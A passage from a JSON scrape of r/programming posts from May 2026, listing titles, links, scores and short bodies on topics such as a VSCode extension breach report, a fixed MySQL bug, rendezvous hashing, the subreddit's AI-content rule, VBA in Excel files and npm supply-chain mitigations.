  "body": "For those using VSCode extensions like NX Console or TeamPCP, there’s been a reported breach where malicious code was injected into these tools via GitHub. The issue was discovered in May 2026, and while patches are being rolled out, it’s a good reminder to review your installed extensions and dependencies.\n\nHave you encountered any suspicious behavior in your dev setup recently?\n\n",
  "author": "dhakalster123",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.36,
  "numComments": 4,
  "createdAt": "2026-05-25T10:26:36.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.hitechies.com/github-breach-nx-console-vscode-teampcp-may-2026/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tn3vfx",
  "url": "https://bugs.mysql.com/bug.php?id=11472",
  "permalink": "https://www.reddit.com/r/programming/comments/1tn3vfx/the_infamous_20_year_old_mysql_bug_11472_has_been/",
  "title": "The infamous 20 year old MySQL Bug #11472 has been fixed.",
  "body": "Cake is still welcome.",
  "author": "Adept_Signature3352",
  "subreddit": "programming",
  "score": 1888,
  "upvoteRatio": 0.99,
  "numComments": 177,
  "createdAt": "2026-05-25T09:21:31.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://bugs.mysql.com/bug.php?id=11472",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tmgs3h",
  "url": "https://jola.dev/posts/highest-random-weight-in-elixir",
  "permalink": "https://www.reddit.com/r/programming/comments/1tmgs3h/highest_random_weight_in_elixir/",
  "title": "Highest random weight in Elixir",
  "body": "I've had 3 weeks off work and I've used the time to rekindle my passion for coding (the old way, by hand). Stumbled upon this alternative to consistent hashing called rendezvous hashing (or highest random weight) and did a little deep dive. It ended up turning into a basic library, including the basic algorithm, a couple of variations, and the skeleton pattern for O(log n) access.\n\nIt performs similar to ExHashRing for node counts <20, and with the skeleton optimization is competitive even in the tens of thousands of nodes, but it uses no NIFs or stateful processes, and the basic algorithm is essentially a one-liner.\n\nAnyway, it was fun to learn about, hope you enjoy it too!\n\n[https://jola.dev/posts/highest-random-weight-in-elixir](https://jola.dev/posts/highest-random-weight-in-elixir)",
  "author": "joladev",
  "subreddit": "programming",
  "score": 52,
  "upvoteRatio": 0.84,
  "numComments": 0,
  "createdAt": "2026-05-24T16:25:18.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://jola.dev/posts/highest-random-weight-in-elixir",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tmfalm",
  "url": "https://leetarxiv.substack.com/p/2-dimensional-lattice-basis-reduction",
  "permalink": "https://www.reddit.com/r/programming/comments/1tmfalm/2dimensional_lattice_basis_reduction_in_c/",
  "title": "2-Dimensional Lattice Basis Reduction in C",
  "body": null,
  "author": "DataBaeBee",
  "subreddit": "programming",
  "score": 9,
  "upvoteRatio": 0.74,
  "numComments": 0,
  "createdAt": "2026-05-24T15:29:18.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://leetarxiv.substack.com/p/2-dimensional-lattice-basis-reduction",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tmbrjz",
  "url": "https://yogthos.net/posts/2026-05-24-libwce.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1tmbrjz/libwce_the_entropy_layer_of_a_wavelet_codec_on/",
  "title": "libwce: the entropy layer of a wavelet codec, on its own",
  "body": null,
  "author": "yogthos",
  "subreddit": "programming",
  "score": 24,
  "upvoteRatio": 0.84,
  "numComments": 1,
  "createdAt": "2026-05-24T13:09:08.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://yogthos.net/posts/2026-05-24-libwce.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tmbduj",
  "url": "https://susam.net/childhood-computing.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1tmbduj/childhood_computing/",
  "title": "Childhood Computing",
  "body": null,
  "author": "the-15th-standard",
  "subreddit": "programming",
  "score": 35,
  "upvoteRatio": 0.84,
  "numComments": 4,
  "createdAt": "2026-05-24T12:52:50.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://susam.net/childhood-computing.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tmaw10",
  "url": "https://leetarxiv.substack.com/p/individual-logarithm-reduction-step",
  "permalink": "https://www.reddit.com/r/programming/comments/1tmaw10/individual_logarithm_reduction_step_of_discrete/",
  "title": "Individual Logarithm Reduction Step of Discrete Logarithm Problem",
  "body": null,
  "author": "DataBaeBee",
  "subreddit": "programming",
  "score": 18,
  "upvoteRatio": 0.75,
  "numComments": 3,
  "createdAt": "2026-05-24T12:30:10.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://leetarxiv.substack.com/p/individual-logarithm-reduction-step",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tmaq6p",
  "url": "https://youtu.be/zRwv6piW8JY?si=Fw_P8onoK0rXPBE_",
  "permalink": "https://www.reddit.com/r/programming/comments/1tmaq6p/designing_resilient_systems_to_prevent_cascading/",
  "title": "Designing Resilient Systems to Prevent Cascading Failures",
  "body": "Tried my best to deliver some best content on this one after immense research and hands-on. \n\nPardon me if the video becomes like a monologue somewhere in between, still in the beginning days of YouTube content creation. \n\nAny feedback or discussion with respect to the content is highly appreciated. ",
  "author": "Comfortable-Fan-580",
  "subreddit": "programming",
  "score": 10,
  "upvoteRatio": 0.71,
  "numComments": 1,
  "createdAt": "2026-05-24T12:22:36.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/zRwv6piW8JY?si=Fw_P8onoK0rXPBE_",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tlzo76",
  "url": "https://blog.gaborkoos.com/posts/2025-09-19-The-Database-Zoo-Exotic-Data-Storage-Engines/",
  "permalink": "https://www.reddit.com/r/programming/comments/1tlzo76/the_database_zoo_exotic_data_storage_engines_why/",
  "title": "The Database Zoo: Exotic Data Storage Engines - why SQL and NoSQL aren't enough anymore",
  "body": "The post walks through the history of SQL and NoSQL, then makes the case for why general-purpose databases can't handle every modern workload and why a whole ecosystem of specialized engines emerged to fill the gaps. It's the first post in a series covering time-series, vector, and probabilistic databases in depth.",
  "author": "OtherwisePush6424",
  "subreddit": "programming",
  "score": 76,
  "upvoteRatio": 0.83,
  "numComments": 38,
  "createdAt": "2026-05-24T02:39:52.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.gaborkoos.com/posts/2025-09-19-The-Database-Zoo-Exotic-Data-Storage-Engines/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tlvrmh",
  "url": "https://developer.chrome.com/blog/declarative-partial-updates",
  "permalink": "https://www.reddit.com/r/programming/comments/1tlvrmh/chrome_proposes_new_apis_declarative_partial/",
  "title": "Chrome proposes new APIs: Declarative partial updates",
  "body": null,
  "author": "imbev",
  "subreddit": "programming",
  "score": 438,
  "upvoteRatio": 0.95,
  "numComments": 106,
  "createdAt": "2026-05-23T23:39:03.000Z",
  "isNsfw": false,
  "flair": "Editorialized Title",
  "media": {
    "kind": "link",
    "url": "https://developer.chrome.com/blog/declarative-partial-updates",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tlkzt3",
  "url": "https://brooker.co.za/blog/2026/02/25/sfq.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1tlkzt3/sfq_simple_stateless_stochastic_fairness/",
  "title": "SFQ: Simple, Stateless, Stochastic Fairness",
  "body": null,
  "author": "fagnerbrack",
  "subreddit": "programming",
  "score": 19,
  "upvoteRatio": 0.86,
  "numComments": 2,
  "createdAt": "2026-05-23T16:25:18.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://brooker.co.za/blog/2026/02/25/sfq.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tli2gg",
  "url": "https://seriot.ch/computation/jira.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1tli2gg/jira_is_turingcomplete/",
  "title": "Jira IS Turing-complete",
  "body": "The proof the folklore was missing.",
  "author": "Dull_Replacement8890",
  "subreddit": "programming",
  "score": 383,
  "upvoteRatio": 0.93,
  "numComments": 52,
  "createdAt": "2026-05-23T14:31:21.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://seriot.ch/computation/jira.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tlh5aj",
  "url": "https://www.reddit.com/r/programming/comments/1tlh5aj/announcement_weve_updated_the_rules_and_april_is/",
  "permalink": "https://www.reddit.com/r/programming/comments/1tlh5aj/announcement_weve_updated_the_rules_and_april_is/",
  "title": "Announcement: We've Updated The Rules, and April Is Finally Over",
  "body": "After [temporarily banning LLM-related content over April](https://www.reddit.com/r/programming/comments/1s9jkzi/announcement_temporary_llm_content_ban/), and [asking you for feedback on that ban](https://www.reddit.com/r/programming/comments/1t4odyl/looking_for_feedback_on_ai_content_in/), we've decided to bring about an end of the temporary, I-can't-believe-it's-still-April ban on AI-related posts.\n\nReplacing the trial rule is a new shiny rule that refers to our new shiny [AI policy](https://www.reddit.com/r/programming/wiki/ai-policy/). In short:\n\n> Content about AI and LLMs are considered off-topic with the sole exclusion of **deeply technical** content about implementation.\n\nAnd if you want more detail than that, go read the policy, that's what it's there for.\n\nIn addition, when writing that rule, I realized the rules weren't listed on the [old.reddit.com](http://old.reddit.com) sidebar, so that's been updated. For those of you who are seeing those rules for the first time, everything there is not new. We've been enforcing those rules as best we can for ages. You can click the link above those to get to the old.reddit rules page, with plenty of info that doesn't exactly read well when crammed into a sidebar.",
  "author": "ChemicalRascal",
  "subreddit": "programming",
  "score": 950,
  "upvoteRatio": 0.94,
  "numComments": 181,
  "createdAt": "2026-05-23T13:54:37.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "text",
    "url": "https://www.reddit.com/r/programming/comments/1tlh5aj/announcement_weve_updated_the_rules_and_april_is/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tleq8t",
  "url": "https://codeutopia.net/blog/2026/05/23/applying-metaphors-from-other-fields-into-software-development/",
  "permalink": "https://www.reddit.com/r/programming/comments/1tleq8t/applying_metaphors_from_other_fields_into/",
  "title": "Applying metaphors from other fields into software development",
  "body": null,
  "author": "jhartikainen",
  "subreddit": "programming",
  "score": 33,
  "upvoteRatio": 0.76,
  "numComments": 17,
  "createdAt": "2026-05-23T12:08:25.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://codeutopia.net/blog/2026/05/23/applying-metaphors-from-other-fields-into-software-development/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tlaj3y",
  "url": "https://youtu.be/3S3wQ0ldIKs",
  "permalink": "https://www.reddit.com/r/programming/comments/1tlaj3y/clojure_anonymous_functions/",
  "title": "Clojure Anonymous Functions",
  "body": null,
  "author": "Efficient-Public-551",
  "subreddit": "programming",
  "score": 3,
  "upvoteRatio": 0.67,
  "numComments": 0,
  "createdAt": "2026-05-23T08:19:52.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/3S3wQ0ldIKs",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tkxx4e",
  "url": "https://blog.gaborkoos.com/posts/2026-05-22-How-I-Built-a-Confluence-Crawler/",
  "permalink": "https://www.reddit.com/r/programming/comments/1tkxx4e/how_i_built_a_confluence_crawler/",
  "title": "How I Built a Confluence Crawler",
  "body": "A writeup about building `confluence2md`, a Go CLI tool that converts Confluence wikis to Markdown and the surprisingly deep technical challenges along the way.\n\nThe article covers:\n\n* Two-phase crawling: Phase 1 fetches and converts pages with original URLs, Phase 2 rewrites links after knowing the complete page graph (so nothing breaks)\n* Why converting Confluence storage format is painful (XML macros, link rewriting, pagination)\n* Checkpoint-based incremental updates without losing progress\n* Cross-platform release automation with GitHub Actions + GoReleaser\n\nThe tool is open-source and ready to use. If you've ever needed to migrate off Confluence or build on wiki data, might be useful: [https://github.com/gkoos/confluence2md](https://github.com/gkoos/confluence2md)",
  "author": "OtherwisePush6424",
  "subreddit": "programming",
  "score": 11,
  "upvoteRatio": 0.66,
  "numComments": 14,
  "createdAt": "2026-05-22T22:21:23.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.gaborkoos.com/posts/2026-05-22-How-I-Built-a-Confluence-Crawler/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tkxs4c",
  "url": "https://github.com/WilliamSmithEdward/pyOpenVBA/blob/main/docs/ms-ovba-implementation-guide_v2.md",
  "permalink": "https://www.reddit.com/r/programming/comments/1tkxs4c/writing_vba_modules_inside_excel_files_is_much/",
  "title": "Writing VBA modules inside Excel files is much stranger than I expected",
  "body": "# Writing VBA back into Excel files is not “just editing text in a zip file”\n\nI went down the rabbit hole of exploring how VBA modules are stored inside Office files, and the format is much stranger than I expected.\n\nThe most surprising part is how many layers are involved.\n\nFor a modern `.xlsm` file, the path looks roughly like this:\n\n```text\nExcel workbook\n  -> ZIP / Open XML package\n    -> xl/vbaProject.bin\n      -> Microsoft Compound File Binary\n        -> VBA project streams\n          -> compressed module source\n```\n\nSo replacing a VBA module is not just:\n\n```text\nopen file\nreplace text\nsave file\n```\n\nIt is closer to:\n\n```text\npreserve the workbook container\nextract vbaProject.bin\nparse the compound file\ndecompress the VBA streams\nfind the real source offset\nreplace only the source body\nrecompress it correctly\ninvalidate Office caches\ndrop stale compiled-cache streams\navoid breaking protected or signed projects\nput everything back without touching unrelated bytes\n```\n\nA few details made this more interesting than expected:\n\n* the `dir` stream is itself compressed\n* module source does not always start at byte zero\n* VBA source uses the project codepage, not UTF-8\n* short final compression chunks cannot be written as raw chunks\n* Office stores compiled cache streams that should not be rewritten\n* digital signatures become invalid after source changes\n* the real test is “does Excel reopen it without a \"your workbook is broken\" prompt?”\n\nThe main lesson:\n\nEditing VBA inside Office files is not just editing a script file inside of a zip file. It's way more complicated. You have to maintain a small filesystem, a compression format, a project manifest, and a set of Office-specific safety rules at the same time.\n\nImplementation guide:\n\nhttps://github.com/WilliamSmithEdward/pyOpenVBA/blob/main/docs/ms-ovba-implementation-guide_v2.md\n\nReferences:\n\n* Microsoft MS-OVBA specification\n* Microsoft Compound File Binary format\n* Office Open XML package structure\n* Real Excel workbooks tested against Excel for Microsoft 365\n",
  "author": "MultiUserDungeonDev",
  "subreddit": "programming",
  "score": 46,
  "upvoteRatio": 0.78,
  "numComments": 11,
  "createdAt": "2026-05-22T22:16:06.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.com/WilliamSmithEdward/pyOpenVBA/blob/main/docs/ms-ovba-implementation-guide_v2.md",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tkxgmb",
  "url": "https://security.apple.com/blog/formal-verification-corecrypto/",
  "permalink": "https://www.reddit.com/r/programming/comments/1tkxgmb/a_blueprint_for_formal_verification_of_apple/",
  "title": "A blueprint for formal verification of Apple corecrypto",
  "body": null,
  "author": "mttd",
  "subreddit": "programming",
  "score": 87,
  "upvoteRatio": 0.93,
  "numComments": 0,
  "createdAt": "2026-05-22T22:03:30.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://security.apple.com/blog/formal-verification-corecrypto/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tkx5r7",
  "url": "https://jaysmito.dev/blog/blog/04-fast-lockfree-queues/",
  "permalink": "https://www.reddit.com/r/programming/comments/1tkx5r7/building_a_fast_lockfree_queue_in_modern_c_from/",
  "title": "Building a Fast Lock-Free Queue in Modern C++ From Scratch",
  "body": null,
  "author": "Beginning-Safe4282",
  "subreddit": "programming",
  "score": 145,
  "upvoteRatio": 0.94,
  "numComments": 42,
  "createdAt": "2026-05-22T21:51:43.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://jaysmito.dev/blog/blog/04-fast-lockfree-queues/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tkti10",
  "url": "https://tritium.legal/blog/noroboto",
  "permalink": "https://www.reddit.com/r/programming/comments/1tkti10/noroboto_lying_fonts_and_mitigation_in_rust/",
  "title": "Noroboto: Lying Fonts and Mitigation in Rust",
  "body": null,
  "author": "urandomd",
  "subreddit": "programming",
  "score": 4,
  "upvoteRatio": 0.64,
  "numComments": 3,
  "createdAt": "2026-05-22T19:36:39.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://tritium.legal/blog/noroboto",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tkp5rs",
  "url": "https://blog.c21-mac.com/posts/high-speed-networking-part-1/",
  "permalink": "https://www.reddit.com/r/programming/comments/1tkp5rs/high_speed_networking_the_view_from_the_machine/",
  "title": "High Speed Networking: The View from the Machine",
  "body": null,
  "author": "Middle_Ad4847",
  "subreddit": "programming",
  "score": 19,
  "upvoteRatio": 0.89,
  "numComments": 0,
  "createdAt": "2026-05-22T17:07:02.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.c21-mac.com/posts/high-speed-networking-part-1/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tkjoy4",
  "url": "https://hister.org/posts/lessons-i-learned-from-creating-searx",
  "permalink": "https://www.reddit.com/r/programming/comments/1tkjoy4/lessons_i_learned_from_creating_searx/",
  "title": "Lessons I Learned from Creating Searx",
  "body": null,
  "author": "asciimoo",
  "subreddit": "programming",
  "score": 8,
  "upvoteRatio": 0.72,
  "numComments": 2,
  "createdAt": "2026-05-22T13:54:07.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://hister.org/posts/lessons-i-learned-from-creating-searx",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tkivsv",
  "url": "https://www.youtube.com/watch?v=U46fJ2bJ-co&t=2780s",
  "permalink": "https://www.reddit.com/r/programming/comments/1tkivsv/creator_of_c_talks_about_memory_safety/",
  "title": "Creator of C++ talks about memory safety",
  "body": null,
  "author": "dukey",
  "subreddit": "programming",
  "score": 312,
  "upvoteRatio": 0.89,
  "numComments": 271,
  "createdAt": "2026-05-22T13:22:45.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.youtube.com/watch?v=U46fJ2bJ-co&t=2780s",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tki1qd",
  "url": "https://labs.iximiuz.com/tutorials/container-registry-from-scratch",
  "permalink": "https://www.reddit.com/r/programming/comments/1tki1qd/how_container_registries_work_pushing_and_pulling/",
  "title": "How Container Registries Work: Pushing and Pulling Images Without Docker",
  "body": null,
  "author": "iximiuz",
  "subreddit": "programming",
  "score": 37,
  "upvoteRatio": 0.95,
  "numComments": 0,
  "createdAt": "2026-05-22T12:50:29.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://labs.iximiuz.com/tutorials/container-registry-from-scratch",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tkhf5j",
  "url": "https://youtu.be/d7CSWoEKc28",
  "permalink": "https://www.reddit.com/r/programming/comments/1tkhf5j/cdi_programable/",
  "title": "CDI Programable",
  "body": null,
  "author": "RoutineLog8764",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.31,
  "numComments": 0,
  "createdAt": "2026-05-22T12:24:06.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/d7CSWoEKc28",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tkh0w0",
  "url": "https://hellmood.111mb.de//wake_up_16b_writeup.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1tkh0w0/16_bytes_of_code_that_turn_sierpinski_waves_into/",
  "title": "16 bytes of code that turn Sierpinski waves into Matrix rain",
  "body": "Hey babe, stop what you're doing, HellMood dropped another WriteUp xD  \nJokes aside, this is an in depth explanation of the underlying math that allow **16 bytes** of **x86 code** to produce a visual textmode effect *and* music at the same time. \"MiragePT\", a demo scener, let the thing run on a real old 286 system with MDA Hercules graphics and it ran there as well. Also included some background information that i was asked for. Since i have done this for so many years i might have left out details you might find interesting. In that case, please leave a comment and i'll work that in.\n\nHave fun reading!",
  "author": "Hell__Mood",
  "subreddit": "programming",
  "score": 207,
  "upvoteRatio": 0.91,
  "numComments": 28,
  "createdAt": "2026-05-22T12:06:49.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://hellmood.111mb.de//wake_up_16b_writeup.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tke60b",
  "url": "https://blog.prateekjain.dev/you-should-move-to-pnpm-from-npm-now-6e84b6cc7778",
  "permalink": "https://www.reddit.com/r/programming/comments/1tke60b/you_should_move_to_pnpm_from_npm_now/",
  "title": "You Should Move to pnpm from npm Now",
  "body": "Upgrade your package manager before a supply chain attack makes that decision for you.",
  "author": "root0ps",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.33,
  "numComments": 12,
  "createdAt": "2026-05-22T09:48:08.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.prateekjain.dev/you-should-move-to-pnpm-from-npm-now-6e84b6cc7778",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tkdn9i",
  "url": "https://blog.kubesimplify.com/nvcf-is-now-open-source-inside-nvidia-s-gpu-function-platform",
  "permalink": "https://www.reddit.com/r/programming/comments/1tkdn9i/nvcf_is_now_open_source_inside_nvidias_gpu/",
  "title": "NVCF Is Now Open Source: Inside NVIDIA's GPU Function Platform",
  "body": null,
  "author": "mastabadtomm",
  "subreddit": "programming",
  "score": 40,
  "upvoteRatio": 0.88,
  "numComments": 3,
  "createdAt": "2026-05-22T09:19:33.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.kubesimplify.com/nvcf-is-now-open-source-inside-nvidia-s-gpu-function-platform",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tkbx3y",
  "url": "https://youtu.be/GdAaDmdUQgc",
  "permalink": "https://www.reddit.com/r/programming/comments/1tkbx3y/clojure_variadic_function/",
  "title": "Clojure Variadic function",
  "body": null,
  "author": "Efficient-Public-551",
  "subreddit": "programming",
  "score": 2,
  "upvoteRatio": 0.6,
  "numComments": 0,
  "createdAt": "2026-05-22T07:41:51.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/GdAaDmdUQgc",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tk9iww",
  "url": "https://docs.npmjs.com/staged-publishing/",
  "permalink": "https://www.reddit.com/r/programming/comments/1tk9iww/staged_publishing_for_npm_packages_npm_docs/",
  "title": "Staged publishing for npm packages | npm Docs",
  "body": "Staged publishing for npm packages | npm Docs\n\nThis should hopefully reduce the spread of the recent Shai Hulud attacks on npm but they are reliant on you catching the bugs in transit meaning you need to assume still that packages are compromised (I know, bummer). Think of it more as a reduction in spread rate the a treatment or cure.",
  "author": "qwertydiy",
  "subreddit": "programming",
  "score": 23,
  "upvoteRatio": 0.82,
  "numComments": 8,
  "createdAt": "2026-05-22T05:33:21.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://docs.npmjs.com/staged-publishing/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tk9b18",
  "url": "https://linustechtips.com/topic/1637924-i-tried-to-melt-my-intel-ultra-7-router-setup-simulating-250-vr-users-for-an-off-grid-festival-app-heres-what-happened/",
  "permalink": "https://www.reddit.com/r/programming/comments/1tk9b18/i_tried_to_melt_my_intel_ultra_7_router_setup/",
  "title": "I tried to melt my Intel Ultra 7 router setup simulating 250 VR users for an off-grid festival app. Here's what happened.",
  "body": null,
  "author": "Existing_Leopard_231",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.24,
  "numComments": 0,
  "createdAt": "2026-05-22T05:22:08.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://linustechtips.com/topic/1637924-i-tried-to-melt-my-intel-ultra-7-router-setup-simulating-250-vr-users-for-an-off-grid-festival-app-heres-what-happened/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tk03pj",
  "url": "https://lemire.me/blog/2026/03/18/how-many-branches-can-your-cpu-predict/",
  "permalink": "https://www.reddit.com/r/programming/comments/1tk03pj/how_many_branches_can_your_cpu_predict_daniel/",
  "title": "How many branches can your CPU predict? – Daniel Lemire's blog",
  "body": null,
  "author": "fagnerbrack",
  "subreddit": "programming",
  "score": 107,
  "upvoteRatio": 0.97,
  "numComments": 13,
  "createdAt": "2026-05-21T22:28:18.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://lemire.me/blog/2026/03/18/how-many-branches-can-your-cpu-predict/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tjznwf",
  "url": "https://redo.com/eng-blog/how-to-call-an-api-from-an-email/",
  "permalink": "https://www.reddit.com/r/programming/comments/1tjznwf/how_to_call_an_api_from_an_email/",
